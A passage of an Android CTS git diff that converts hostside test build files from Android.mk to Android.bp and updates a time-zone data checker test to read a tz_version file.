+    name: "CtsHostsideTvTests",
+    defaults: ["cts_defaults"],
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/tv/Android.mk b/hostsidetests/tv/Android.mk
deleted file mode 100644
index 79f976a..0000000
--- a/hostsidetests/tv/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsHostsideTvTests
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.tv.hostsidetv
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/tv/app/Android.bp b/hostsidetests/tv/app/Android.bp
new file mode 100644
index 0000000..b6151be
--- /dev/null
+++ b/hostsidetests/tv/app/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideTvInputApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
deleted file mode 100644
index 0b49885..0000000
--- a/hostsidetests/tv/app/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostsideTvInputApp
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/app2/Android.bp b/hostsidetests/tv/app2/Android.bp
new file mode 100644
index 0000000..e8d31f7
--- /dev/null
+++ b/hostsidetests/tv/app2/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideTvInputMonitor",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/tv/app2/Android.mk b/hostsidetests/tv/app2/Android.mk
deleted file mode 100644
index 8257909..0000000
--- a/hostsidetests/tv/app2/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostsideTvInputMonitor
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/tzdata/Android.bp
new file mode 100644
index 0000000..cec8a3b
--- /dev/null
+++ b/hostsidetests/tzdata/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHostTzDataTests",
+    defaults: ["cts_defaults"],
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java"],
+    libs: ["tradefed"],
+    static_libs: [
+        "tzdata-testing",
+        "time_zone_distro",
+        "time_zone_distro_builder",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
deleted file mode 100644
index e6e31fb..0000000
--- a/hostsidetests/tzdata/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsHostTzDataTests
-
-LOCAL_JAVA_LIBRARIES := tradefed
-
-LOCAL_STATIC_JAVA_LIBRARIES := tzdata-testing time_zone_distro time_zone_distro_tools
-
-LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
index 39fc109..09cd90f 100644
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS tzdatacheck host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostTzDataTests.jar" />
     </test>
diff --git a/hostsidetests/tzdata/OWNERS b/hostsidetests/tzdata/OWNERS
new file mode 100644
index 0000000..2d36574
--- /dev/null
+++ b/hostsidetests/tzdata/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include platform/libcore:/OWNERS
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index 2e9707c..e86809b 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -16,11 +16,16 @@
 
 package com.android.cts.tzdata;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static org.junit.Assert.assertArrayEquals;
+
+import libcore.timezone.TzDataSetVersion;
+import libcore.timezone.testing.ZoneInfoTestHelper;
+
 import com.android.timezone.distro.DistroVersion;
 import com.android.timezone.distro.TimeZoneDistro;
-import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -31,9 +36,6 @@
 import java.util.Comparator;
 import java.util.StringJoiner;
 import java.util.function.Consumer;
-import libcore.tzdata.testing.ZoneInfoTestHelper;
-
-import static org.junit.Assert.assertArrayEquals;
 
 /**
  * Tests for the tzdatacheck binary.
@@ -56,15 +58,15 @@
 
     /**
      * The name of the directory containing the current time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String CURRENT_DIR_NAME = "current";
 
     /**
      * The name of the directory containing the staged time zone rules data beneath
-     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
-     * tzdatacheck.cpp.
+     * {@link #mDataDir}.  Also known to {@link
+     * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
      */
     private static final String STAGED_DIR_NAME = "staged";
 
@@ -76,10 +78,9 @@
     private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
 
     /**
-     * The name of the /system time zone data file. Also known to
-     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
      */
-    private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+    private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
 
     /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
     private static final String RULES_VERSION_ONE = "2016g";
@@ -135,6 +136,16 @@
         super.tearDown();
     }
 
+    /**
+     * Test the base file used by tzdatacheck exists in the expected location - tzcdatacheck relies
+     * on this file to determine the version of tzdata on device. The path is passed to tzdatacheck
+     * via a command line argument hardcoded in system/core/rootdir/init.rc.
+     */
+    public void testExpectedBaseFilesExist() throws Exception {
+        String baseTzFilesDir = "/apex/com.android.tzdata/etc/tz/";
+        assertDeviceFileExists(baseTzFilesDir + "tz_version");
+    }
+
     public void testTooFewArgs() throws Exception {
         // No need to set up or push files to the device for this test.
         assertEquals(1, runTzDataCheckWithArgs(new String[0]));
@@ -144,7 +155,7 @@
     // {dataDir}/staged exists but it is a file.
     public void testStaging_stagingDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
@@ -167,7 +178,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_uninstall_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -193,7 +204,7 @@
     // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
     public void testStaging_uninstall_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -218,7 +229,7 @@
     // {dataDir}/staged contains an uninstall, and there is something to uninstall.
     public void testStaging_uninstall_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -246,7 +257,7 @@
     // {dataDir}/staged exists but /current dir is a file.
     public void testStaging_install_currentDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
@@ -274,7 +285,7 @@
     // {dataDir}/staged contains an install, but there is nothing to replace.
     public void testStaging_install_noCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
 
@@ -300,12 +311,12 @@
     // {dataDir}/staged contains an install, and there is something to replace.
     public void testStaging_install_withCurrent() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         DistroVersion currentDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
         DistroVersion stagedDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+                TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 2);
 
         // Set up the /data directory structure on host.
 
@@ -341,11 +352,11 @@
     // an invalid distro is handled the same.
     public void testStaging_install_withCurrent_invalidStaged() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
 
-        // Create a staged uninstall which contains invalid.
+        // Create a staged uninstall which contains invalid files (missing distro version).
         PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
         byte[] stagedDistroBytes = createValidDistroBuilder()
                 .clearVersionForTests()
@@ -372,7 +383,7 @@
     // No {dataDir}/current exists.
     public void testNoCurrentDataDir() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Deliberately not creating anything on host in the data dir here, leaving the empty
         // structure.
@@ -387,7 +398,7 @@
     // {dataDir}/current exists but it is a file.
     public void testCurrentDataDirIsFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -409,7 +420,7 @@
     // {dataDir}/current exists but is missing the distro version file.
     public void testMissingDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -431,7 +442,7 @@
     // {dataDir}/current exists but the distro version file is short.
     public void testShortDataDirDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -455,7 +466,7 @@
     // {dataDir}/current exists and the distro version file is long enough, but contains junk.
     public void testCorruptDistroVersionFile() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -483,12 +494,12 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion oldMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+                TzDataSetVersion.currentFormatMajorVersion() - 1, 1, VALID_RULES_VERSION, 1);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMajorDistroVersion)
                 .buildBytes();
@@ -507,13 +518,13 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMajorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion newMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                TzDataSetVersion.currentFormatMajorVersion() + 1,
+                TzDataSetVersion.currentFormatMinorVersion(),
                 VALID_RULES_VERSION, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
@@ -533,13 +544,13 @@
     // {dataDir}/current exists but the distro version is incorrect.
     public void testInvalidMinorDistroVersion_older() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion oldMinorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion() - 1,
                 VALID_RULES_VERSION, 1);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(oldMinorDistroVersion)
@@ -560,13 +571,13 @@
     // be backwards compatible).
     public void testValidMinorDistroVersion_newer() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+        createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion newMajorDistroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion() + 1,
                 VALID_RULES_VERSION, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(newMajorDistroVersion)
@@ -583,8 +594,8 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system is missing.
-    public void testSystemTzDataFileMissing() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is missing.
+    public void testSystemTzVersionFileMissing() throws Exception {
         // Deliberately not writing anything in /system here.
 
         // Set up the /data directory structure on host.
@@ -602,11 +613,11 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
-    public void testSystemTzDataFileCorrupt() throws Exception {
+    // {dataDir}/current is valid but the tz_version file in /system is junk.
+    public void testSystemTzVersionFileCorrupt() throws Exception {
         // Set up the /system directory structure on host.
         byte[] invalidTzDataBytes = new byte[20];
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -623,18 +634,18 @@
         assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is older.
+    // {dataDir}/current is valid and the tz_version file in /system is for older data.
     public void testSystemTzRulesOlder() throws Exception {
         // Set up the /system directory structure on host.
-        createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+        createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         // Newer than RULES_VERSION_ONE in /system
         final String distroRulesVersion = RULES_VERSION_TWO;
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(), distroRulesVersion, VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
@@ -651,17 +662,20 @@
         assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
     }
 
-    // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
-    public void testSystemTzDataSame() throws Exception {
+    // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
+    // kept.
+    public void testSystemTzVersionSame() throws Exception {
         // Set up the /system directory structure on host.
         final String systemRulesVersion = VALID_RULES_VERSION;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
+                systemRulesVersion,
+                VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
                 .setDistroVersion(distroVersion)
                 .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
@@ -679,17 +693,17 @@
     }
 
     // {dataDir}/current is valid and the tzdata file in /system is the newer.
-    public void testSystemTzDataNewer() throws Exception {
+    public void testSystemTzVersionNewer() throws Exception {
         // Set up the /system directory structure on host.
         String systemRulesVersion = RULES_VERSION_TWO;
-        createSystemTzDataFileOnHost(systemRulesVersion);
+        createSystemTzVersionFileOnHost(systemRulesVersion);
 
         // Set up the /data directory structure on host.
         PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
         String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
         DistroVersion distroVersion = new DistroVersion(
-                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
                 distroRulesVersion,
                 VALID_REVISION);
         byte[] distroBytes = createValidDistroBuilder()
@@ -709,9 +723,9 @@
         assertDevicePathDoesNotExist(dataCurrentDir);
     }
 
-    private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
-        byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
-        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+    private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
+        byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
     }
 
     private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
@@ -731,8 +745,8 @@
         String distroRulesVersion = VALID_RULES_VERSION;
         DistroVersion validDistroVersion =
                 new DistroVersion(
-                        DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
-                        DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                        TzDataSetVersion.currentFormatMajorVersion(),
+                        TzDataSetVersion.currentFormatMinorVersion(),
                         distroRulesVersion, VALID_REVISION);
         return new TimeZoneDistroBuilder()
                 .setDistroVersion(validDistroVersion)
@@ -747,6 +761,15 @@
                 .build();
     }
 
+    private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
+        return new TzDataSetVersion(
+                TzDataSetVersion.currentFormatMajorVersion(),
+                TzDataSetVersion.currentFormatMinorVersion(),
+                rulesVersion,
+                VALID_REVISION)
+                .toBytes();
+    }
+
     private int runTzDataCheckOnDevice() throws Exception {
         return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
     }
@@ -906,8 +929,12 @@
         }
     }
 
+    private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
+        assertTrue(getDevice().doesFileExist(s));
+    }
+
     private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
-        assertTrue(getDevice().doesFileExist(path.devicePath));
+        assertDeviceFileExists(path.devicePath);
     }
 
     private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
diff --git a/hostsidetests/ui/appA/Android.bp b/hostsidetests/ui/appA/Android.bp
new file mode 100644
index 0000000..9b92163
--- /dev/null
+++ b/hostsidetests/ui/appA/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDeviceTaskSwitchingAppA",
+    defaults: ["cts_support_defaults"],
+    // don't include this package in any target
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
deleted file mode 100644
index 17da676..0000000
--- a/hostsidetests/ui/appA/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
